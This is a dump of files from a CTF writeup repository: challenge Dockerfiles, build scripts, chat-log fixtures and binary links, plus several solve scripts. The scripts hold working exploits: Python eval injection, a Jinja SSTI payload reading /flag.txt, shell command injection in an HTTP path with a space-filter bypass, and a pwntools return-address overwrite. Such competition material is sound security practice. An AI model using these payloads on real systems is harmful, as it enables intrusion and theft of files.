"app.py"] 9 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/notes/redis_userdata/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8.0-alpine 2 | RUN apk add --no-cache redis 3 | WORKDIR /app 4 | COPY requirements.txt requirements.txt 5 | RUN pip install -r requirements.txt 6 | EXPOSE 5000 7 | EXPOSE 50000-60000 8 | COPY app.py app.py 9 | ENTRYPOINT ["python", "app.py"] 10 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/notes/redis_userdata/requirements.txt: -------------------------------------------------------------------------------- 1 | MarkupSafe==2.0.1 2 | flask 3 | redis 4 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/notes/requirements.txt: -------------------------------------------------------------------------------- 1 | MarkupSafe==2.0.1 2 | flask 3 | requests 4 | redis 5 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/solve-1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import string 4 | 5 | import requests 6 | 7 | url = "https://maas.rars.win/calculator" 8 | 9 | pos = 0 10 | flag = "" 11 | while not flag.endswith("}"): 12 | for guess in string.printable: 13 | form_data = { 14 | "mode": "arithmetic", 15 | "add": "+", 16 | "n1": f"0 if ord(open('../flag.txt').read()[{pos}]) == {ord(guess)} else 'x'", 17 | "n2": " " 18 | } 19 | 20 | r = requests.post(url, data=form_data) 21 | if "Result is not a number" in r.text: 22 | # Guess was wrong. 23 | continue 24 | 25 | pos += 1 26 | flag += guess 27 | print(flag) 28 | break 29 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/solve-2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import random 4 | import re 5 | import string 6 | 7 | import requests 8 | from pwn import log 9 | 10 | url = "https://maas.rars.win" 11 | 12 | payload = "1337{{ get_flashed_messages.__globals__.__builtins__.open('/flag.txt').read() }}1337" 13 | 14 | sess = requests.Session() 15 | 16 | user = "".join(random.choice(string.ascii_letters) for _ in range(0x10)) 17 | log.info("Registering user %s..." % user) 18 | r = sess.post(f"{url}/notes/register", data={"username": user}) 19 | assert r.status_code == 200 20 | 21 | r = sess.post(f"{url}/notes/profile", data={"mode": "bioadd", "bio": payload}) 22 | assert r.status_code == 200 23 | 24 | match = re.search("1337(?P.+)1337", r.text, re.DOTALL) 25 | print(match.group("output")) 26 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/not-that-simple/notsimple: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/RaRCTF/not-that-simple/notsimple -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/object-oriented-pwning/Animal.h: -------------------------------------------------------------------------------- 1 | // 2 | // Created by Jamie on 03/02/2021. 3 | // 4 | 5 | #ifndef SRC_ANIMALS_H 6 | #define SRC_ANIMALS_H 7 | #include 8 | #include 9 | 10 | #define MILK_BASE_VALUE 50 11 | 12 | #define COST_COW 250 13 | #define COST_PIG 150 14 | #define COST_TRANSLATOR 1000 15 | 16 | class Animal { 17 | public: 18 | virtual void Age(); 19 | virtual void PrintInfo(); 20 | virtual int Sell() = 0; 21 | void Translate(); 22 | void SetName(); 23 | virtual ~Animal() = default; 24 | char type[16]; 25 | bool dead = false; 26 | uint8_t max_age; 27 | uint8_t hunger = 0; 28 | protected: 29 | uint8_t age = 1; 30 | char name[16]; 31 | }; 32 | 33 | class Pig : public Animal { 34 | public: 35 | virtual int Sell(); 36 | void SetName(); 37 | virtual ~Pig() = default; 38 | }; 39 | class Cow : public Animal { 40 | public: 41 | virtual int Sell(); 42 | void SetName(); 43 | virtual ~Cow() = default; 44 | }; 45 | 46 | void flush(); 47 | extern bool translator; 48 | #endif //SRC_ANIMALS_H 49 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/object-oriented-pwning/Dockerfile: -------------------------------------------------------------------------------- 1 | from ubuntu:18.04 2 | ARG DEBIAN_FRONTEND=noninteractive 3 | RUN apt update && apt install -y socat cowsay 4 | EXPOSE 1337 5 | RUN useradd -m ctf 6 | 7 | COPY cow.txt cow.txt 8 | COPY pig.txt pig.txt 9 | COPY flag.txt flag.txt 10 | COPY oop /home/ctf/oop 11 | USER ctf 12 | CMD ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:/home/ctf/oop"] 13 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/object-oriented-pwning/Makefile: -------------------------------------------------------------------------------- 1 | CC=clang++ 2 | 3 | all: oop 4 | 5 | oop: oop.cc Animal.cc Animal.h 6 | ${CC} -no-pie -g -std=c++17 oop.cc Animal.cc -o $@ 7 | 8 | clean: 9 | rm -f oop 10 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/object-oriented-pwning/oop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/RaRCTF/object-oriented-pwning/oop -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/rarmony/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | RUN apt update && apt install -y socat && mkdir /harmony 3 | WORKDIR /harmony 4 | COPY run.sh ./run.sh 5 | COPY harmony ./harmony 6 | COPY channels ./channels 7 | EXPOSE 5000 8 | ENTRYPOINT ["socat", "tcp-l:5000,reuseaddr,fork", "EXEC:/harmony/run.sh,stderr"] 9 | 10 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/rarmony/channels/crypto: -------------------------------------------------------------------------------- 1 | 8: have any of you heard of the curd cipher 2 | 12: :lemonthink: 3 | 2: hey @wiwam845 can you help me use RSACTF tool i like it a lot 4 | 3: I WILL GO TO YOUR HOUSE AND [redacted] 5 | 5: crypto bad lmao osu good 6 | 4: :purrlice: 7 | 7: :purrlice: 8 | 3: :purrlice: 9 | 14: :purrlice: 10 | 12: caesar cipher is best crypto 11 | 2: agreed 12 | 3: agreed 13 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/rarmony/channels/misc: -------------------------------------------------------------------------------- 1 | 0:Misc best category! :blobhero: 2 | 12:Woo yeah misc! 3 | 19:hey jammy have you found the hidden discord challenge yet? 4 | 12:nah, I think it’ll be too hard 5 | 22:lamp oil rope bombs, you want it? it's yours my friend as long as you have enough rubies. 6 | 22:sorry link i cant give credit. come back when you are a little mmmmmmmmmmm richer 7 | 4:no 8 | 12:yes 9 | 16: no wack pyjails malding 10 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/rarmony/channels/pwn: -------------------------------------------------------------------------------- 1 | 12:this is the pwn hub 2 | 9:can you be the repeater to my skeeter 3 | 12:sure uwu 4 | 12:If a turtle had code, would that be shellcode? 5 | 3::weirdchamp: 6 | 15::lemonthink: 7 | 14::weirdchamp: 8 | 9:not funny, failed to laugh 9 | 3:?warn jammy failed to laugh 10 | 1:jammy has been warned. 11 | 2:helo @Organizers i can not do archer pls help 12 | 0:ping! 13 | 3:ping! 14 | 12:ping! 15 | 14:you need to shoot your shot :0 16 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/rarmony/channels/rev: -------------------------------------------------------------------------------- 1 | 15:python rev best smh 2 | 18:no you’re wrong smh 3 | 18:also radare2 above all 4 | 2:I can’t go down the rabbit hole :C 5 | 3:sad! 6 | 0:sad! 7 | 12: Since rev is forensics, we can just talk about it here! 8 | 12:Is this just a grave of my ideas? 9 | 5:Yes. 10 | 21:Forensics best cat :blobcatlove: 11 | 3:no you’re wrong smh 12 | 12:Well, you can find Interesting Obtuse Things in forensics 13 | 0:oh god i have found the cursed challenge video 14 | 12:Really? Time to red all about it 15 | 5:@jammy We can do it on the roadtrip! 16 | 12::yay: :blobhug: 17 | 21:Sorry the road trip is gone! 18 | 12: sad! 19 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/rarmony/channels/secret-admin-chat: -------------------------------------------------------------------------------- 1 | 0:In case I forget it, here's the flag for Harmony 2 | 0:rarctf{f4k3_fl4g_f0r_t35t1ng} 3 | 3:no leek nerd smh 4 | 0:sad! -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/rarmony/channels/spam: -------------------------------------------------------------------------------- 1 | 3:lemonthink 2 | 4:lemonthink 3 | 5:lemonthink 4 | 8:what is lemonthink 5 | 3:lemonthink 6 | 4:lemonthink 7 | 5:lemonthink 8 | 6:lemonthink 9 | 7:lemonthink 10 | 12:lemonthink 11 | 4:among us? 12 | 12:No. 13 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/rarmony/channels/team-locator-inator: -------------------------------------------------------------------------------- 1 | 2:Are you sad and lonely? Looking for someone to pen test you? Join my team ;) I'm also a HTB pro, and i want to be as good as @tony in the future 2 | 0:who's tony I only know clubby789 3 | 2:can i join your team i am pro haxor uwu 4 | 6:no 5 | 7:Purple Pentesters is looking for someone who does binary exploitation, message me if you're interested. 6 | 8:Helo can i have ctf teemate i is very good i hit level 3 on try hack me 7 | 2: can i join your team i can use the k*li 8 | 7:no 9 | 1:floralelements has left the server 10 | 12:cringe! 11 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/rarmony/channels/web: -------------------------------------------------------------------------------- 1 | 19:Web best cat smh 2 | 1:No 3 | 2:No 4 | 3:No 5 | 4:No 6 | 5:No 7 | 6:No 8 | 7:No 9 | 8:No 10 | 9:No 11 | 10:No 12 | 11:No 13 | 12:No 14 | 13:No 15 | 14:No 16 | 15:No 17 | 16:No 18 | 17:No 19 | 18:No 20 | 0:Yes! Uwu i love web 21 | 20:No 22 | 21:No 23 | 22:No 24 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/rarmony/harmony: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/RaRCTF/rarmony/harmony -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/rarmony/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd /harmony/ 4 | ./harmony 5 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/rarmony/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | the_binary = "./harmony" 6 | context.binary = the_binary 7 | elf = context.binary 8 | 9 | context.terminal = ["tmux", "splitw", "-v"] 10 | 11 | if args.REMOTE: 12 | io = remote("193.57.159.27", 61229) 13 | elif args.STRACE: 14 | io = process(["strace", "-o" ,"trace.txt", the_binary]) 15 | else: 16 | io = process(the_binary) 17 | 18 | if args.GDB: 19 | gdb.attach(io, f""" 20 | file {the_binary} 21 | break *0x401735 22 | continue 23 | """) 24 | 25 | def menu(choice): 26 | io.sendlineafter("> ", str(choice)) 27 | 28 | def change_username(name): 29 | assert len(name) <= 0x27 30 | 31 | menu(3) 32 | if len(name) == 0x27: 33 | io.sendafter("name: ", name) 34 | else: 35 | io.sendlineafter("name: ", name) 36 | 37 | change_username(b"A"*0x20 + b"\x3b\x15\x40") 38 | menu(3) 39 | menu(0) 40 | menu(2) 41 | 42 | io.interactive() 43 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/return-of-emoji-db/Dockerfile: -------------------------------------------------------------------------------- 1 | from ubuntu:20.04 2 | ARG DEBIAN_FRONTEND=noninteractive 3 | RUN apt update && apt install -y socat 4 | EXPOSE 1337 5 | COPY emoji /emoji 6 | COPY flag.txt /flag.txt 7 | CMD ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:/emoji"] 8 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/return-of-emoji-db/Makefile: -------------------------------------------------------------------------------- 1 | all: emoji 2 | 3 | emoji: emoji.c 4 | gcc -g $< -o $@ 5 | 6 | clean: 7 | rm -rf emoji -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/return-of-emoji-db/build_docker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker rm -f emoji 4 | docker build . -t emoji 5 | docker run -it --name emoji -p 1337:1337 emoji 6 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/return-of-emoji-db/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = ctf 8 | type = UNLISTED 9 | port = 1337 10 | bind = 0.0.0.0 11 | server = /home/ctf/emoji 12 | banner_fail = /etc/banner_fail 13 | } 14 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/return-of-emoji-db/emoji: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/RaRCTF/return-of-emoji-db/emoji -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/unintended/lib/ld-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/RaRCTF/unintended/lib/ld-2.27.so -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/unintended/lib/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/RaRCTF/unintended/lib/libc.so.6 -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/unintended/unintended: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/RaRCTF/unintended/unintended -------------------------------------------------------------------------------- /writeups/2021/SSTF/arm-arm/.gitignore: -------------------------------------------------------------------------------- 1 | *.db 2 | 3 | core 4 | trace.txt 5 | -------------------------------------------------------------------------------- /writeups/2021/SSTF/arm-arm/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | ###### SERVER SETTING ######## 4 | RUN apt-get update 5 | RUN apt-get install -y xinetd 6 | RUN apt-get install -y qemu-user-static 7 | RUN apt-get install -y gcc-8-multilib-arm-linux-gnueabihf 8 | RUN apt-get install -y socat 9 | #RUN apt-get install -y gdb-multiarch 10 | 11 | ###### USER CREATE ###### 12 | RUN useradd -d /home/guest guest 13 | 14 | ####### note.db user.db #### 15 | RUN touch /note.db 16 | RUN touch /user.db 17 | RUN chmod 766 /note.db 18 | RUN chmod 766 /user.db 19 | # COPY ./SET/flag /flag 20 | # COPY ./PROB/* /home/guest/ 21 | 22 | #ENTRYPOINT ["runuser", "guest","-c", "/home/guest/run.sh"] 23 | ENTRYPOINT ["/bin/sh"] 24 | 25 | -------------------------------------------------------------------------------- /writeups/2021/SSTF/arm-arm/prob: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/SSTF/arm-arm/prob -------------------------------------------------------------------------------- /writeups/2021/SSTF/arm-arm/prob.bndb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/SSTF/arm-arm/prob.bndb -------------------------------------------------------------------------------- /writeups/2021/SSTF/arm-arm/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # /usr/bin/qemu-arm-static -strace -L /usr/arm-linux-gnueabihf/ /home/guest/prob 2>/tmp/result 3 | /usr/bin/qemu-arm-static -L /usr/arm-linux-gnueabihf/ ./prob 2>/dev/null 4 | -------------------------------------------------------------------------------- /writeups/2021/SSTF/lost-ark-2/patch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/SSTF/lost-ark-2/patch -------------------------------------------------------------------------------- /writeups/2021/SSTF/lost-ark/L0stArk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/SSTF/lost-ark/L0stArk -------------------------------------------------------------------------------- /writeups/2021/SSTF/memory/.gitignore: -------------------------------------------------------------------------------- 1 | data/ 2 | lib/ 3 | 4 | *.bak 5 | *.o 6 | *.so 7 | *.tar 8 | -------------------------------------------------------------------------------- /writeups/2021/SSTF/memory/build.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | gcc -c -fPIC util-benign.c -o util-benign.o 4 | gcc -o libutil-benign.so -shared util-benign.o 5 | 6 | gcc -c -fPIC util-payload.c -o util-payload.o 7 | gcc -o libutil-payload.so -shared util-payload.o 8 | 9 | mkdir -p ./lib/ 10 | mv libutil-benign.so ./lib/libutil.so 11 | -------------------------------------------------------------------------------- /writeups/2021/SSTF/memory/clean.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | rm -r restore.bak backup.bak backup.tar *.o *.so ./data ./lib 4 | mkdir data/ 5 | -------------------------------------------------------------------------------- /writeups/2021/SSTF/memory/flag: -------------------------------------------------------------------------------- 1 | test{xxxx} 2 | -------------------------------------------------------------------------------- /writeups/2021/SSTF/memory/memory: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/SSTF/memory/memory -------------------------------------------------------------------------------- /writeups/2021/SSTF/memory/memory.bndb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/SSTF/memory/memory.bndb -------------------------------------------------------------------------------- /writeups/2021/SSTF/memory/util-benign.c: -------------------------------------------------------------------------------- 1 | void execute(const char * cmd) { 2 | puts("Running command:"); 3 | puts(cmd); 4 | system(cmd); 5 | } 6 | -------------------------------------------------------------------------------- /writeups/2021/SSTF/memory/util-payload.c: -------------------------------------------------------------------------------- 1 | void execute(const char * cmd) { 2 | puts("Getting flag:"); 3 | system("cat flag fl*"); 4 | 5 | puts("Running command:"); 6 | puts(cmd); 7 | system(cmd); 8 | } 9 | -------------------------------------------------------------------------------- /writeups/2021/TetCTF/cache_v1/cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/TetCTF/cache_v1/cache -------------------------------------------------------------------------------- /writeups/2021/TetCTF/cache_v1/ld-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/TetCTF/cache_v1/ld-2.31.so -------------------------------------------------------------------------------- /writeups/2021/TetCTF/cache_v1/libc-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/TetCTF/cache_v1/libc-2.31.so -------------------------------------------------------------------------------- /writeups/2021/TetCTF/cache_v2/cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/TetCTF/cache_v2/cache -------------------------------------------------------------------------------- /writeups/2021/TetCTF/cache_v2/ld-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/TetCTF/cache_v2/ld-2.31.so -------------------------------------------------------------------------------- /writeups/2021/TetCTF/cache_v2/libc-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/TetCTF/cache_v2/libc-2.31.so -------------------------------------------------------------------------------- /writeups/2021/UMassCTF/suckless2/readme.md: -------------------------------------------------------------------------------- 1 | # suckless2 2 | 3 | Interesting challenge exploiting a program written in the [Myrddin](https://myrlang.org/) programming language. Gist of the solution is corrupting a slab allocator. 4 | 5 | ## Rererences 6 | * [Myrddin high-level allocation interface](https://github.com/oridb/mc/blob/master/lib/std/alloc.myr) 7 | * [Relevant portion of low-level allocation routines](https://github.com/oridb/mc/blob/master/lib/std/bytealloc.myr#L320-L344) 8 | -------------------------------------------------------------------------------- /writeups/2021/UMassCTF/suckless2/suckless2_dist: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/UMassCTF/suckless2/suckless2_dist -------------------------------------------------------------------------------- /writeups/2021/UMassCTF/webserver/a.bndb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/UMassCTF/webserver/a.bndb -------------------------------------------------------------------------------- /writeups/2021/UMassCTF/webserver/a.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/UMassCTF/webserver/a.out -------------------------------------------------------------------------------- /writeups/2021/UMassCTF/webserver/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | flag_file = "/home/ctf/flag.txt" 6 | leak_limit = 10 7 | 8 | def leak_flag_part(offset): 9 | payload = f"cut -b {offset+1}-{offset+1+leak_limit} /home/*/fl*" 10 | payload = payload.replace(" ", "`echo ' '`") 11 | 12 | sock = remote("34.72.232.191", 8080) 13 | # sock = remote("localhost", 8080) 14 | req = f"GET /{payload}? HTTP/1.1\r\n\r\n" 15 | log.info(req) 16 | sock.send(req) 17 | sock.recvuntil("\r\n\r\n") 18 | return sock.recvall().decode() 19 | 20 | def main(): 21 | flag = "" 22 | while "}" not in flag: 23 | flag += leak_flag_part(len(flag)) 24 | log.info(f"Flag: {flag}") 25 | 26 | if __name__ == "__main__": 27 | main() 28 | -------------------------------------------------------------------------------- /writeups/2021/angstrom/pawn/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/angstrom/pawn/libc.so.6 -------------------------------------------------------------------------------- /writeups/2021/angstrom/pawn/pawn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/angstrom/pawn/pawn -------------------------------------------------------------------------------- /writeups/2021/angstrom/pawn/readme.md: -------------------------------------------------------------------------------- 1 | # pawn 2 | 3 | Used an unorthodox approach of writing bytes around `__malloc_hook` by dereferencing `board[4][][]` to access libc addresses relative to an entry in the (no PIE) binary's GOT. 4 | 5 | ## Referenced Solutions 6 | 7 | * [bi0s](https://blog.bi0s.in/2021/04/08/Pwn/AngstromCTF21-Pawn/) 8 | * [nobodyisnobody](https://ctftime.org/writeup/27029) 9 | * [ptr-yudai](https://ptr-yudai.hatenablog.com/entry/2021/04/08/115245#Binary-200pts-Pawn-43-solves) 10 | -------------------------------------------------------------------------------- /writeups/2021/corCTF/Cshell/Cshell: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/corCTF/Cshell/Cshell -------------------------------------------------------------------------------- /writeups/2021/corCTF/ret2cds/.gitignore: -------------------------------------------------------------------------------- 1 | ret2cds-qemu.qcow2 2 | -------------------------------------------------------------------------------- /writeups/2021/corCTF/ret2cds/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | RUN apt-get update 6 | RUN apt-get install -y openjdk-11-jdk 7 | 8 | RUN useradd -m ret2cds 9 | 10 | COPY ./chall /home/ret2cds 11 | RUN mkdir /opt/nc-java 12 | COPY ./server /opt/nc-java 13 | 14 | RUN chmod 755 /home/ret2cds/* 15 | RUN chmod 754 /home/ret2cds/flag.txt 16 | 17 | RUN chmod 755 /opt/nc-java/* 18 | 19 | COPY ./start.sh /start.sh 20 | RUN chmod 755 /start.sh 21 | 22 | USER ret2cds 23 | 24 | CMD ["/start.sh"] -------------------------------------------------------------------------------- /writeups/2021/corCTF/ret2cds/chall/allowed-syscalls.txt: -------------------------------------------------------------------------------- 1 | exit 2 | exit_group 3 | gettimeofday 4 | mmap 5 | mprotect 6 | munmap 7 | process_vm_readv 8 | process_vm_writev 9 | read 10 | reboot 11 | timerfd_create 12 | write 13 | -------------------------------------------------------------------------------- /writeups/2021/corCTF/ret2cds/chall/flag.txt: -------------------------------------------------------------------------------- 1 | fakeflag 2 | -------------------------------------------------------------------------------- /writeups/2021/corCTF/ret2cds/chall/ld-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/corCTF/ret2cds/chall/ld-2.31.so -------------------------------------------------------------------------------- /writeups/2021/corCTF/ret2cds/chall/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/corCTF/ret2cds/chall/libc.so.6 -------------------------------------------------------------------------------- /writeups/2021/corCTF/ret2cds/chall/ret2cds: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/corCTF/ret2cds/chall/ret2cds -------------------------------------------------------------------------------- /writeups/2021/corCTF/ret2cds/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.4' 2 | services: 3 | ret2cds: 4 | build: . 5 | ports: 6 | - 1337:1337 7 | restart: always 8 | security_opt: 9 | - seccomp=seccomp.json 10 | cap_add: 11 | - sys_ptrace 12 | -------------------------------------------------------------------------------- /writeups/2021/corCTF/ret2cds/run-qemu.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | qemu-system-x86_64 -serial mon:stdio -hda ret2cds-qemu.qcow2 -nographic -smp 1 -m 1G -net user,hostfwd=tcp::1337-:1337 -net nic 4 | -------------------------------------------------------------------------------- /writeups/2021/corCTF/ret2cds/server/nc-java.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/corCTF/ret2cds/server/nc-java.jar -------------------------------------------------------------------------------- /writeups/2021/corCTF/ret2cds/server/slf4j-api-1.7.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/corCTF/ret2cds/server/slf4j-api-1.7.2.jar -------------------------------------------------------------------------------- /writeups/2021/corCTF/ret2cds/server/zt-exec-1.12.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/corCTF/ret2cds/server/zt-exec-1.12.jar -------------------------------------------------------------------------------- /writeups/2021/corCTF/ret2cds/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | cd /home/ret2cds 3 | while true; do java -jar /opt/nc-java/nc-java.jar ./ret2cds 1337; done -------------------------------------------------------------------------------- /writeups/2021/csaw/cold/cold: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/csaw/cold/cold -------------------------------------------------------------------------------- /writeups/2021/csaw/cold/cold.bndb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/csaw/cold/cold.bndb -------------------------------------------------------------------------------- /writeups/2021/csaw/cold/ld-2.33.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/csaw/cold/ld-2.33.so -------------------------------------------------------------------------------- /writeups/2021/csaw/cold/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/csaw/cold/libc.so.6 -------------------------------------------------------------------------------- /writeups/2021/zer0ptsCTF/safe_vector/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/zer0ptsCTF/safe_vector/chall -------------------------------------------------------------------------------- /writeups/2021/zer0ptsCTF/safe_vector/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/zer0ptsCTF/safe_vector/libc.so.6 -------------------------------------------------------------------------------- /writeups/2022/RealWorldCTF/QLaaS/.gitignore: -------------------------------------------------------------------------------- 1 | .cache/ 2 | qiling/ 3 | qiling-codeql-db/ 4 | qiling-codeql-database/ 5 | fixed_payload.c 6 | payload.elf 7 | -------------------------------------------------------------------------------- /writeups/2022/RealWorldCTF/QLaaS/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import sys 5 | import base64 6 | import tempfile 7 | # pip install qiling==1.4.1 8 | from qiling import Qiling 9 | 10 | def my_sandbox(path, rootfs): 11 | ql = Qiling([path], rootfs) 12 | ql.run() 13 | 14 | def main(): 15 | sys.stdout.write('Your Binary(base64):\n') 16 | line = sys.stdin.readline() 17 | binary = base64.b64decode(line.strip()) 18 | 19 | with tempfile.TemporaryDirectory() as tmp_dir: 20 | fp = os.path.join(tmp_dir, 'bin') 21 | 22 | with open(fp, 'wb') as f: 23 | f.write(binary) 24 | 25 | my_sandbox(fp, tmp_dir) 26 | 27 | if __name__ == '__main__': 28 